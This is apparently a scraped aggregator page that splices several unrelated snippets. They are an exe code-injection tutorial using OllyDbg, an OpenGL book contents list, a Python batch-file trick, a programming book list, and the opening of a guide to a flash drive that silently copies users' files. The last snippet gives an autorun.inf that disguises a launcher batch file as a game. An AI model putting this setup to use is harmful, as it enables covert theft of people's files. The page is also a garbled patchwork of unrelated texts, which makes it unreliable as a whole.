background preloader

How to inject code into a exe file

How to inject code into a exe file
Title: How to inject code into a exe file Autor: Iman Karim Email: iman.karim@smail.inf.fh-bonn-rhein-sieg.de Home: *** THIS TUTORIAL IS ONLY FOR EDUCATIONAL PURPOSES!*** (english mistakes are default :P) Content: - Requirements - Getting started - Some ASM - Last words -Requirements- At first we need a debugger. -Getting started- Our goal is to inject some code into the Notepad.EXE . [My Notepad screenshot] If you're sure now that's the original Notepad open the Notepad.exe with Olly. [click to enlarge] Because we're going to inject some code we've to have some space to inject it. [CodeCaves] Do you see the red box I've drawn for you? ***** START QUOTE FROM THE WIN32 PROGRAMMERS REFERENCE The MessageBox function creates, displays, and operates a message box. This is all you need to know about the MessageBox. If you pressed on Binary=>Edit or (CTRL+E) you will see following window. Press OK and you'll see the modified code in red: OK!

OpenGL Programming Guide (Addison-Wesley Publishing Company): Table of Contents OpenGL Programming Guide or 'The Red Book' About This Guide Chapter 1: Introduction to OpenGL Chapter 2: Drawing Geometric Objects Chapter 3: Viewing Chapter 4: Display Lists Chapter 5: Color Chapter 6: Lighting Chapter 7: Blending, Antialiasing, and Fog Chapter 8: Drawing Pixels, Bitmaps, Fonts, and Images Chapter 9: Texture Mapping Chapter 10: The Framebuffer Chapter 11: Evaluators and NURBS Chapter 12: Selection and Feedback Chapter 13: Now That You Know Appendix A: Order of Operations Appendix B: OpenGL State Variables Appendix C: The OpenGL Utility Library Appendix D: The OpenGL Extension to the X Window System Appendix E: The OpenGL Programming Guide Auxiliary Library Appendix F: Calculating Normal Vectors Appendix G: Homogeneous Coordinates and Transformation Matrices Appendix H: Programming Tips Appendix I: OpenGL Invariance Appendix J: Color Plates Glossary (not included in this version) ) on Amazon in paperback. (PS. Sorry about the ads.

Running Python Code in Windows Batch File Trick | HalOtis I found this really neat bit of .bat file magic that will let you save your python script code in a .bat file and run it in windows just like any other script. The nice thing about this is that you don’t have to create a separate “launch.bat” file with one “start python script.py” line in it. This makes running python scripts in Windows more like it is on a Linux/Mac where you can easily add a #!/usr/bin/env python line to the script and run it directly. Here’s the bit of tricky batch file magic that does it: The way it works is that the first line of the file does two different things. starts python interpreter passing the name of the file in, and the -x option will tell it to skip the first line (containing .bat file code)When python finishes the script exits. This nifty trick makes it much nicer for writing admin scripts with python on Windows. Update: fixed to properly pass command line arguments (%* argument passes through the command line arguments for the bat file to python)

Become a Programmer, Motherfucker If you don't know how to code, then you can learn even if you think you can't. Thousands of people have learned programming from these fine books: Learn Python The Hard Way Learn Ruby The Hard Way Learn Code The Hard Way I'm also working on a whole series of programming education books at learncodethehardway.org. Learn C The Hard Way Learn SQL The Hard Way Graphics Programming Language Agnostic NerdDinner Walkthrough Assembly Language Bash Clojure Clojure Programming ColdFusion CFML In 100 Minutes Delphi / Pascal Django Djangobook.com Erlang Learn You Some Erlang For Great Good Flex Getting started with Adobe Flex (PDF) Forth Git Grails Getting Start with Grails Haskell Java JavaScript JavaScript (Node.js specific) Latex The Not So Short Introduction to LATEX (perfect for beginners) Linux Advanced Linux Programming Lisp Lua Programming In Lua (for v5 but still largely relevant)Lua Programming Gems (not entirely free, but has a lot of free chapters and accompanying code) Maven Mercurial Nemerle Nemerle NoSQL Oberon Objective-C

How to make flash drive that copy's users files silently and automatically Ok there is no order in the file creation process just that you have all files created and on the flash drive. I will start out with the autorun.inf. This file is used when you insert the flash drive into said computer. Here is the code, you will have to open a simple word editor such as word, you can past this code into word and edit to your hearts content. [autorun] icon=drive.icoopen=launch.bataction=Click ok to Run game for Windowsshell\open\command=launch.bat a couple of notes the code is between the lines not the lines at all so dont put them in your autorun file. also when you save this file after editing or pasing this in the editor make shure you save it as all files and put a .inf after it... like this autorun.inf look at pic two if you have any issues. You can change the icon to your tastes what you will have to do is find a .png a png file is an icon file. next is the open= command this code takes the launch batch file and opens it.. more on the launch batch file later.

Related: